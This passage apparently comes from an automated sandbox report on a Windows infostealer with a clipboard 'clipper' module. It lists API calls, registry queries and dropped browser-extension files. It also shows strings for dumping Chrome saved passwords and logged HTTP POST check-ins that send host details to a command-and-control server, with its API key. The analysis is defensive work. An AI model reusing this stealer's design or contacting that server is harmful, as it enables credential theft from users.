"NtQueryInformationProcess"; File: "file") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "file") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")5e:T7c3,"file.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter assets (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter background.ts-D6ogNSgd.js (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter content.ts-B6XGI__y.js (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter icon.png (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter icons (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter 128.png (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter 16.png (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter 32.png (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter 48.png (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter manifest.json (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter service-worker-loader.js (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter ActorSafetyLists (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter AmountExtractionHeuristicRegexes (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter AutofillStates (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter BrowserMetrics (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter CertificateRevocation (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter CommerceHeuristics (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter component_crx_cache (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter CookieReadinessList (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter Crashpad (UID: 00000000-00000700) "file.exe" called "FindNextFileW" with parameter CrashpadMetrics-active.pma (UID: 00000000-00000700)5f:Te8c,file/memory contains long string with (Indicator: "base64"; File: "Y52sIWhuxpeC") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chacha20poly1305-0.10.1/src/cipher.rs" (Indicator: "chacha"; File: "file") Found string "Archive header is too largeAES encryption without AES extra data fieldSupport for multi-disk files is not implementedFile cannot contain ZIP64 central directory endInvalid central directory size or offsetPassword required to decrypt file" (Indicator: "aes"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/mod.rs" (Indicator: "base64"; File: "file") Found string "StreamCipherErrorResponsestatusheadersbody/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chacha20-0.9.1/src/lib.rs" (Indicator: "chacha"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/aes-gcm-0.10.3/src/lib.rs" (Indicator: "aes"; File: "file") Found string "empty key material in blobaes open:" (Indicator: "aes"; File: "file") Found string "chacha open:" (Indicator: "chacha"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/general_purpose/decode.rs" (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/general_purpose/decode_suffix.rs" (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/general_purpose/mod.rs" (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/general_purpose/decode.rs" (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/general_purpose/decode_suffix.rs" (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/general_purpose/mod.rs" (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/encode.rs" (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand_chacha-0.3.1/src/guts.rs" (Indicator: "chacha"; File: "file") file/memory contains long string with (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/encode.rs" (Indicator: "base64"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes/ffi.rs" (Indicator: "aes"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes.rs" (Indicator: "aes"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes_gcm/aeshwclmulmovbe.rs" (Indicator: "aes"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes_gcm/vaesclmulavx2.rs" (Indicator: "aes"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes_gcm.rs" (Indicator: "aes"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/suite_b/ecdsa/digest_scalar.rs" (Indicator: "ecdsa"; File: "file") Found string "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/suite_b/ecdsa/signing.rs" (Indicator: "ecdsa"; File: "file")60:T696,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "file") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "file") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")61:Tadb,Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "file") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "file") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "file") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "file") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "file") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "file") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "file") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "file") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "file") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "file") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; File: "file") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "file") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; File: "file") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")62:Td0b,Found string "src/internal/passwords/asm.rs" (Indicator: "password"; File: "file") Found string "CryptUnprotectData failedsrc/internal/passwords/decrypt.rs" (Indicator: "password"; File: "file") Found string "src/internal/passwords/dump.rs" (Indicator: "password"; File: "file") Found string "/api/v1/ext/passwords" (Indicator: "password"; File: "file") Found string "passwords" (Indicator: "password"; File: "file") Found string "savedLogin DataLogin Data For AccountSELECT origin_url, username_value, password_value FROM logins ORDER BY origin_url" (Indicator: "password"; File: "file") Found string "src/internal/passwords/keys.rs" (Indicator: "password"; File: "file") Found string "deploy: background finishedpasswords: background finishedAutostart setup error:" (Indicator: "password"; File: "file") Found string "passwords total:" (Indicator: "password"; File: "file") Found string "passwords uploaded:" (Indicator: "password"; File: "file") Found string "Urlcannot_be_a_baseusernamepasswordportqueryfragment" (Indicator: "password"; File: "file") Found string "has_authority means set_password shouldn't fail" (Indicator: "password"; File: "file") Found string "master secretextended master secret/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/tls12/mod.rs" (Indicator: "secret"; File: "file") Found string "The specified account's password has expired." (Indicator: "password"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Unknown user name or bad password." (Indicator: "password"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Failed to zero secret data." (Indicator: "secret"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "ChangePassword (with knowledge of old password)" (Indicator: "password"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "SetPassword (without knowledge of old password)" (Indicator: "password"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Create a secret object" (Indicator: "secret"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Change secret value" (Indicator: "secret"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Query secret value" (Indicator: "secret"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The client specified username and password in the request to the destination computer. But the destination" (Indicator: "password"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "when using HTTPS. Username and password must be specified." (Indicator: "password"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "To use Basic, specify the computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "To use Basic, specify the local computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp")63:T103c,Found string "received unexpected shutdown ping" (Indicator: "ping"; File: "file") Found string "invalid ping frame" (Indicator: "ping"; File: "file") Found string "The hostname pattern is invalid: "%1"" (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Hostname patterns must contain one or more patterns." (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "TrustedHosts list contains an invalid hostname or hostname pattern." (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM client could not create a push subscription because there are no listeners configured that match the specified hostname and transport, or because there is no enabled firewall exception on the port used by the selected listener." (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Change the hostname and transport, create an appropriate firewall exception, or run winrm quickconfig." (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Transport, port and suffix are optional. The host may be a hostname or an IP address." (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM client cannot process the request. The certificate CN and the hostname that were provided do not match." (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "You may want to use the CHCP command to change the client Code Page to 437 and receive the results in English." (Indicator: "chcp"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The destination computer name must be a hostname or an IP address, and must not be a URL." (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "DNS query for %2 hostname is sent: Handle=%3" (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "DNS query for %2 hostname is complete: Handle=%3, Addresses=%5" (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "DNS query for %2 hostname failed: Handle=%3 Error=%4" (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Re-used DNS cache, query for %2 hostname is complete: Handle=%3, Addresses=%5" (Indicator: "hostname"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Type "TASKLIST /?" for usage." (Indicator: "tasklist"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "TASKLIST" (Indicator: "tasklist"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "TASKLIST /M" (Indicator: "tasklist"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "TASKLIST /V /FO CSV" (Indicator: "tasklist"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "TASKLIST /SVC /FO LIST" (Indicator: "tasklist"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp")64:T41a,Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "file") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; File: "file") Found reference to API "CopySid" (Indicator: "CopySid"; File: "file") Found reference to API "ImpersonateAnonymousToken" (Indicator: "ImpersonateAnonymousToken"; File: "file") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "file") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")65:T5e3,Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: file] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: file] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: file] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: file] Observed import api "ImpersonateAnonymousToken" which can "enable the specified thread to impersonate the system's anonymous logon token" [Source: 205792_clip.exe.part] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: 205792_clip.exe.part] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: installer.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: installer.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: installer.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: installer.exe]66:Tadf,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "LIBRARY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "OPEN"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "OPEN TIMEOUT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "CLOSE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "QUERY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "COLLECT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "COLLECT TIMEOUT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "FIRST COUNTER"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "LAST COUNTER"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "OBJECT LIST"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "KEEP LIBRARY RESIDENT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "ERROR COUNT LIMIT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "LIBRARY VALIDATION CODE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\PERFORMANCE"; Key: "SUCCESSFUL FILE DATE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR DATA\LINKAGE"; Key: "EXPORT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR NETWORKING\PERFORMANCE"; Key: "LIBRARY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR NETWORKING\PERFORMANCE"; Key: "OPEN"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR NETWORKING\PERFORMANCE"; Key: "OPEN TIMEOUT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\.NET CLR NETWORKING\PERFORMANCE"; Key: "CLOSE"; Value: "")67:T6ff,Dropped file: "background.ts-D6ogNSgd.js" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\background.ts-D6ogNSgd.js]- [targetUID: 00000000-00000700] Dropped file: "128.png" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\128.png]- [targetUID: 00000000-00000700] Dropped file: "content.ts-B6XGI__y.js" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\content.ts-B6XGI__y.js]- [targetUID: 00000000-00000700] Dropped file: "48.png" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\48.png]- [targetUID: 00000000-00000700] Dropped file: "manifest.json" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\manifest.json]- [targetUID: 00000000-00000700] Dropped file: "32.png" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\32.png]- [targetUID: 00000000-00000700] Dropped file: "16.png" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\16.png]- [targetUID: 00000000-00000700] Dropped file: "icon.png" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icon.png]- [targetUID: 00000000-00000700] Dropped file: "service-worker-loader.js" - Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\service-worker-loader.js]- [targetUID: 00000000-00000700]68:T61ab,"POST /api/v1/checkin HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 507 accept: */* host: 87.120.104.147:8080" with payload::==> "{"hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS","os":"Windows","os_version":"10 (16299)","os_build":"16299","os_arch":"x86_64","cpu":"Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GHz","cpu_cores":8,"ram_gb":7,"gpu":"","disk_gb":100,"timezone":"Pacific Standard Time","language":"en-US","screen":"1280x1024","mac_address":"00-50-56-91-BF-AA","is_admin":true,"antivirus":"Windows Defender","browsers":["Edge","Chrome"],"tag":"chrome"}" HTTP/1.1 201 Created Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:09 GMT Content-Length: 37 with response body ==>7B22626F745F6964223A353337322C22737461747573223A2272656769737465726564227D....... "POST /api/v1/agent/tasks/205792/ack HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 101 accept: */* host: 87.120.104.147:8080" with payload::==> "{"error":"","hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","success":true}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:13 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/checkin HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:13 GMT Content-Length: 31 with response body ==>7B226167656E745F6964223A333936352C22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:14 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/clipper/ping HTTP/1.1 accept: application/json content-type: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 content-length: 157 host: 87.120.104.147:8080" with payload::==> "{"hwid":"S-1-5-21-735145574-3570218355-1207367261","computer_name":"DESKTOP-FVVF82A","username":"HAPUBWS\u0000","os":"windows","os_version":"Windows x86_64"}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:20 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/agent/tasks/205793/ack HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 101 accept: */* host: 87.120.104.147:8080" with payload::==> "{"error":"","hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","success":true}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:21 GMT Content-Length: 15 with response body ==>7B22737461747573223A226F6B227D....... "POST /api/v1/agent/tasks/205794/ack HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 content-type: application/json content-length: 101 accept: */* host: 87.120.104.147:8080" with payload::==> "{"error":"","hwid":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","success":true}" HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 